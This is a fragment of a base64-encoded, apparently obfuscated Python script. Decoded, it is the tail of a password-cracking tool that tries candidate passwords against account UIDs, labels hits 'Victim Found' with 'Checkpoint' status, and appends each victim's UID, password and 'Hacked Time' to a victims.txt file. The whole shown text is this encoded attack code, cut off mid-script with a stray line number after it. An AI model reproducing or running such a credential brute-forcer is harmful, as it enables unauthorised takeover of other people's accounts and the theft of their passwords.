BwcmludCgiICAgW+KAol0g8J+kr/CdkI/wnZCA8J2QkvCdkJLwnZCW8J2QjvCdkJHwnZCDIPCdkIXwnZCO8J2QlPCdkI3wnZCD8J+kryIpCiAgICAgIAkgIHByaW50KCIgICBb4oCiXSDwn6W18J2QkvCdkJPwnZCA8J2Qk/CdkJTwnZCSOiDwnZCC8J2Qh/CdkITwnZCC8J2QivCdkI/wnZCO8J2QiPCdkI3wnZCT8J+ltSIpCiAgICAgIAkgIHByaW50KCIgICBb4oCiXSDwn6eQ8J2QlPCdkIjwnZCD8J+nkDogIit2aWN0aW0pCiAgICAgIAkgIHByaW50KCIgICBb4oCiXSDwn6Sr8J2Qj/CdkIDwnZCS8J2QkvCdkJbwnZCO8J2QkfCdkIPwn6SrOiAiK3B3KQogICAgICAJICBzYXZlPW9wZW4oInZpY3RpbXMudHh0IiwiYSIpCiAgICAgIAkgIHNhdmUud3JpdGUoIvCflLDwnZCV8J2QiPCdkILwnZCT8J2QiPCdkIwg8J2QhfCdkI7wnZCU8J2QjfCdkIPwn5SwXG5TdGF0dXM6IENoZWNrcG9pbnRcblVpZDogIit2aWN0aW0rIlxuUGFzc3dvcmQ6ICIrc3RyKHB3KSsiXG5BdHRhY2tpbmcgVGltZTogIitydGltZSsiXG5IYWNrZWQgVGltZTogIitodGltZSsiXG5cbiIpCiAgICAgIAkgIHNhdmUuY2xvc2UoKQogICAgICAJICBwcmludChsaW5lcykKICAgICAgCSAgYnJlYWsKICAgICAgICBlbHNlOgogICAgICAgICAgcHJpbnQoIlwwMzNbMTszN20gICBbIitzdHIoaSkrIl0g4pii77iP8J2QlvCdkJHwnZCO8J2QjfCdkIYg8J2Qj/CdkIDwnZCS8J2QkvCdkJbwnZCO8J2QkfCdkIPimKLvuI86XDAzM1sxOzMxbSAiK3N0cihwdykrIlwwMzNbMTszN20iKQogICAgICAgICAgCiAgICAgIGV4Y2VwdCByZXF1ZXN0cy5leGNlcHRpb25zLlJlcXVlc3RFeGNlcHRpb246CiAgICAgICAgcHJpbnQoIlxuXDAzM1sxOzM3bSAgIEZhaWxlZFxuICDwn5itIOGRjuGXr1RP4ZaHSyDhka3hlodP4Ze34ZKq4Ze04Zew8J+YrVwwMzNbMTszN21cbiIpCiAgICBleGNlcHQ6cGFzcwogICNwcmludChsaW5lcykKICAjcHJpbnQoIiAgIFvigKJdIFBhc3N3b3JkIE5vdCBGb3VuZCIpCiAgI3ByaW50KCIgICBb4oCiXSBUcnkgQWdhaW4gV2l0aCBBIFN0cm9uZyBQYXNzd29yZCBMaXN0IikKICAjcHJpbnQobGluZXMpCmNyYWNrX2ZpbGUoKQoiIiIKICAgICAgICBwcmludCgiUGFzc3dvcmQgRm91bmQiKQogICAgICAgIHByaW50KCJTdGF0dXM6IFN1Y2Nlc3NmdWwiKQogICAgICAgIHByaW50KCJVaWQ6ICIrdmljdGltKQogICAgICAgIHByaW50KCJQYXNzd29yZDogIitwd2QpCiIiIgo='))
3 |
--------------------------------------------------------------------------------